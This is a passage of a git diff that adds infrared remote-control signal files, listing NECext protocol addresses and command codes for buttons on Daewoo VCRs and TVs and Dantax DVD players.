+protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 12 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 13 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 15 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 16 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 17 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 18 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1A 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 22 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir new file mode 100644 index 000000000..85e06a01c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: fi +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0A 00 00 00 +# +name: stop +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: play +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: ffwd +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0F 00 00 00 +# +name: rew +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 10 00 00 00 +# +name: pause +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 11 00 00 00 +# +name: rec +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 12 00 00 00 +# +name: frame +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 13 00 00 00 +# +name: power +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 15 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: pr+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: pr- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: A.SEL +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1A 00 00 00 +# +name: SP/LP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1B 00 00 00 +# +name: T.R +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1C 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1D 00 00 00 +# +name: PAL/SEC +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1F 00 00 00 +# +name: eject +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 21 00 00 00 +# +name: menu +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 22 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 29 00 00 00 +# +name: left +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 31 00 00 00 +# +name: index+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 33 00 00 00 +# +name: right +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 35 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 36 00 00 00 +# +name: 00:00 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 37 00 00 00 +# +name: index- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir new file mode 100644 index 000000000..ce851aefc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: +CH +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: -CH +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: PAUSE/STILL +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: TYPE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 18 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 19 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1D 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1E 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 43 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4C 00 00 00 +# +name: VPS/PDC +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5B 00 00 00 +# +name: ShowView +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 8C 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 9E 00 00 00 +# +name: MENU/TV +type: parsed +protocol: NECext +address: 31 00 00 00 +command: CA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir new file mode 100644 index 000000000..cc4f94f54 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: KEY_1- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0A 00 00 00 +# +name: KEY_2- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: AFT/Band +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: Preset +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0D 00 00 00 +# +name: Auto_Search+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0E 00 00 00 +# +name: Fine_Tuning+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: Auto_Search- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 12 00 00 00 +# +name: Fine_Tuning- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 13 00 00 00 +# +name: Hour +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 14 00 00 00 +# +name: Minute +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 16 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 18 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 19 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1E 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1F 00 00 00 +# +name: KEY_3- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 28 00 00 00 +# +name: KEY_4- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 38 00 00 00 +# +name: System +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 39 00 00 00 +# +name: Q.V. +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir new file mode 100644 index 000000000..256f0c229 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: normal +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: pr_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: pr_down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: system +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: i-ii +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: two_semicircles +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: woofer +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: scartmode +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: tvmode +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/VCR/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/VCR/21,-1.ir new file mode 100644 index 000000000..28c0eee9a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/VCR/21,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0F 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 10 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 11 00 00 00 +# +name: RECORD_OTR +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 12 00 00 00 +# +name: ATR +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 13 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 15 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: CH_TRACK_+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: CH_TRACK_- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1A 00 00 00 +# +name: SPEED +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1D 00 00 00 +# +name: CM_SKIP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1E 00 00 00 +# +name: CHILD_LOCK +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1F 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 21 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 22 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 29 00 00 00 +# +name: SLOW_- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 31 00 00 00 +# +name: INDEX_+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 33 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 35 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 36 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 39 00 00 00 +# +name: INDEX_- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir new file mode 100644 index 000000000..5bf27d86e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: FRAME_< +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: L/R +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: SUB_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: SUB_TITLE_ON/OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: GO_TO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir new file mode 100644 index 000000000..64d39b3d3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: l/r +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: digest +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: KEY_3d +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 00 00 00 00 